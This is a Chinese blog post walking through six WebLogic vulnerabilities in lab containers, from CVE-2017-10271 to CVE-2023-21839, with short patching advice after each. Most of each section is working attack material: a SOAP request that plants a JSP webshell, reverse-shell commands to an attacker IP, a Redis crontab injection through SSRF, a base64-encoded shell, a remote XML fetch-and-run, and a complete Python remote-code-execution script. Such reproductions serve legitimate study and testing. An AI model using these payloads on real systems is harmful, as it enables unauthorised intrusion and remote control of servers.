Weblogic漏洞复现(全漏洞版本)

0x01:CVE-2017-10271 XMLDecoder 反序列化漏洞

1.漏洞描述&搭建

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

这里使用vulhub进行搭建,切换到weblogic/cve-2017-10271下:

docker-compose up -d

出现该页面说明搭建成功

2.漏洞复现

访问:

http://192.168.0.152:7001/wls-wsat/CoordinatorPortType11

受影响版本:

OracleWebLogic Server:10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 , 12.2.1.2

出现该页面,说明存在漏洞;

使用bp抓包,使用以下webshell poc:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
    <% if("poc".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b,0,a));
            }
            out.print("</pre>");
        }
    %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

访问:http://192.168.0.152:7001/bea_wls_internal/test.jsp?pwd=poc&i=pwd

反弹Shell poc:

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 192.168.0.152:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml
Content-Length: 636

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.211.55.5/6111 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功反弹shell:

3.修复建议

  • 临时解决方案根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。根据实际环境路径,删除WebLogic wls-wsat组件:rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.warrm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.warrm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat重启Weblogic域控制器服务:DOMAIN_NAME/bin/stopWeblogic.sh #停止服务DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。
  • 官方补丁修复前往Oracle官网下载10月份所提供的安全补丁http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839

参考链接:


0x02: Weblogic SSRF漏洞

1.漏洞描述&搭建:

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

搭建同0x01

2.漏洞复现:

受影响版本:weblogic 10.0.2 – 10.3.6版本

访问:http://192.168.0.152:7001/uddiexplorer/,无需登录即可访问uddiexplorer页面

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在burpsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80:(发送get请求也是一样)

通过上图可以得知,当我们在可控参数传入的ip:port是存在的会返回404页面或者两个soap的结果,但是没存在会返回not connet over(即1个soap结果),可以做内网信息的探测

反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

发送三条redis命令,将反弹shell脚本写入/etc/crontab,将命令进行url编码,并且放在可控参数后边

test 
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/10.211.55.5/1919 0>&1\n\n\n\n" 
config set dir /etc/
config set dbfilename crontab save 
aaa
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.48.2:6379/test%0d%0a%0d%0aset%201%20%22%5cn%5cn%5cn%5cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2f10.211.55.5%2f9999%200%3e%261'%5cn%5cn%5cn%5cn%22%0d%0aconfig%20set%20dir%20%2fetc%2f%0d%0aconfig%20set%20dbfilename%20crontab%0d%0asave%0d%0a%0d%0aaaa HTTP/1.1
Host: 192.168.0.152:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=yTmdkWLXRgxp016PvGr5qbghWJZ1Qdx8skChznyWgpbjr6G1vnTn!-1490634826
Connection: close

成功反弹shell(这里要等会才会反弹成功)

Tips:

  • etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root是centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root是debian系统下root用户的cron文件

3.修复建议

  • 方法一:

删除uddiexplorer文件夹

限制uddiexplorer应用只能内网访问

  • 方法二:

将SearchPublicRegistries.jsp直接删除

  • 方法三:

Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三采用的是改后辍的方式,修复步骤如下:

1)将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份;

2)将weblogic安装目录下的server/lib/uddiexplorer.war下载;

3)用winrar等工具打开uddiexplorer.war;

4)将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx;

5)保存后上传回服务端替换原先的uddiexplorer.war;

6)对于多台主机组成的集群,针对每台主机都要做这样的操作;

7)由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic。


0x03:CVE-2018-2894(webloic任意文件上传漏洞)

1.漏洞描述&搭建

Oracle 18年7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。

利用该漏洞,可以上传任意jsp文件,进而获取服务器权限

搭建:同上

2.漏洞复现

受影响版本:Weblogic10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

在当前docker镜像目录下啊执行:docker-compose logs | grep password可以显示登录用户名和密码并且登录后台:

登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项:

http://192.168.0.152:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

此处将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

然后点击安全:上传jsp文件后,查看返回的数据包,其中有时间戳:然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell:

3.修复建议

1.设置Config.do、begin.do页面登录授权后访问;

2.IPS等防御产品可以加入相应的特征;

3.升级到官方最新版本


0x04:CVE-2018-2628(Weblogic WLS Core Components 反序列化命令执行)TODO

1.漏洞描述&搭建

Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令

**搭建:**同上

2.漏洞复现:

受影响版本:Weblogic 10.3.6.0 、Weblogic 12.1.3.0 、Weblogic 12.2.1.2 、Weblogic 12.2.1.3

可以先使用nmpa对目标网站进行扫描查询是否开启T3服务

nmap -T4 -sV -O -p 7001 --script weblogic-t3-info 192.168.0.152

可以看到存在T3协议

首先下载ysoserial,并启动一个JRMP Server:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 "touch /tmp/success_poc"

然后,使用exploit.py脚本(注意在python2环境下),向目标Weblogic(http://your-ip:7001)发送数据包:

python2 44553.py 10.211.55.2 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 10.211.55.3 7777 JRMPClient

并且可以看到创建成功:

反弹Shell:在上边的基础上更改ldap即可成功反弹shell:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMjExLjU1LjUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"

3.修复建议:

  1. 官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
  2. 手工修复:控制T3协议的访问权限来临时阻断漏洞利用。

0x05:CVE-2020-14883(Weblogic 管理控制台未授权远程命令执行漏洞)

1.漏洞描述&环境搭建

在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

搭建:同上

2.漏洞复现

受影响版本:Weblogic10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

访问登录页面:http://192.168.0.152:7001/console/login/LoginForm.jsp

首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码。

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

http://your-ip:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/awesome_poc');](http://your-ip:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/success_poc');)")

进入容器,可以发现touch /tmp/success_poc已成功执行:

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如用python启一个服务,http://example.com/rce.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="[http://www.springframework.org/schema/beans](http://www.springframework.org/schema/beans)"
  xmlns:xsi="[http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance)"
  xsi:schemaLocation="[http://www.springframework.org/schema/beans](http://www.springframework.org/schema/beans) [http://www.springframework.org/schema/beans/spring-beans.xsd](http://www.springframework.org/schema/beans/spring-beans.xsd)">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
      <constructor-arg>
        <list>
          <value>bash</value>
          <value>-c</value>
          <value><![CDATA[touch success_poc_xml]]></value>
        </list>
      </constructor-arg>
    </bean>
</beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://192.168.0.152:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.0.152:4444//rce.xml%22)

进入容器,可以发现touch /tmp/success_poc_xml已成功执行:

反弹shell:

使用以下poc:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# author: zhzyker
# from: https://github.com/zhzyker/vulmap
# from: https://github.com/zhzyker/exphub
import http.client
import requests
import sys
import argparse
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

payload_cve_2020_14882_v12 = ('_nfpb=true&_pageLabel=&handle='
            'com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = '
            '(weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = '
            'executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField'
            '("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet'
            '.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) '
            'obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); '
            'String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]'
            '{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result '
            '= new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter'
            '("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.'
            'ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);'
            'res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));'
            'res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); ");')

def cve_2020_14882(url, cmd):
    payload = payload_cve_2020_14882_v12
    path = "/console/css/%252e%252e%252fconsole.portal"
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,'
                  'application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'close',
        'Content-Type': 'application/x-www-form-urlencoded',
        'cmd': cmd
    }
    try:
        request = requests.post(url + path, data=payload, headers=headers, timeout=10, verify=False)
        print(request.text)
    except Exception as error:
        print("[-] Vuln Check Failed... ...")
        print("[-] More Weblogic vulnerabilities in https://github.com/zhzyker/vulmap")




if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Weblogic cve-2020-14882',
                                     usage='use "python %(prog)s --help" for more information',
                                     formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument("-u", "--url",
                        dest="url",
                        help="target url (http://127.0.0.1:7001)"
                        )

    parser.add_argument("-c", "--cmd",
                        dest="cmd",
                        help="command"
                        )
    args = parser.parse_args()
    if not args.url or not args.cmd:
        sys.exit('[*] Please assign url and cmd! \n[*] Examples python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami')
    cve_2020_14882(args.url, args.cmd)

运行以下命令并且攻击机开启nc9999端口监听:

python cve-2020-14882.py -u http://192.168.0.152:7001 -c "bash -i >& /dev/tcp/10.211.55.5/9999 0>&1"

成功上线:

3.修复建议:

目前 Oracle 官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。Oracle 官方补丁需要用户持有正版软件的许可账号,使用该账号登陆 https://support.oracle.com 后,可以下载最新补丁


0x06:CVE-2023-21839(Weblogic未授权远程代码执行)

1.漏洞描述&搭建

Oracle 2023年1月安全公告日 修复了这个漏洞。

CVE-2023-21839 允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致 RCE 漏洞

搭建:同上

2.漏洞复现

受影响版本:

Oracle WebLogic Server 12.2.1.3.0 Oracle WebLogic Server 12.2.1.4.0 Oracle WebLogic Server 14.1.1.0.0

Weblogic CVE-2023-21839 RCE Exploit:https://github.com/4ra1n/CVE-2023-21839

需要使用 JDK 8u191 以下启动 Weblogic 并自行搭建 JNDI Server,此处使用 :

如果发现 panic 或有其他报错,说明目标不存在漏洞(或关闭了 IIOP 功能),我们可以在我们的环境中查看jdk版本:

先使用dnslog测试漏洞:

说明存在

脚本地址:https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839

反弹shell:

启动一个ldap服务:

启动一个nc监听服务:

然后执行exp:

java -jar Weblogic-CVE-2023-21839.jar 10.211.55.2:7001 ldap://10.211.55.3:1389/Basic/ReverseShell/10.211.55.5/9999

最后成功反弹shell:

这里要注意⚠️:反弹shell windows是不支持的

3.修复建议

1、目前Oracle已经修复该漏洞并发布补丁,受影响的用户可参考官方通告及时下载并更新补丁,下载地址:https://support.oracle.com/rs?type=doc&id=2917213.2。

2、通过控制T3协议的访问来阻断利用T3协议的漏洞攻击。

3、通过关闭IIOP协议来阻断利用IIOP协议的漏洞攻击

posted @ 2023-06-26 20:27  Arrest  阅读(447)  评论(1编辑  收藏  举报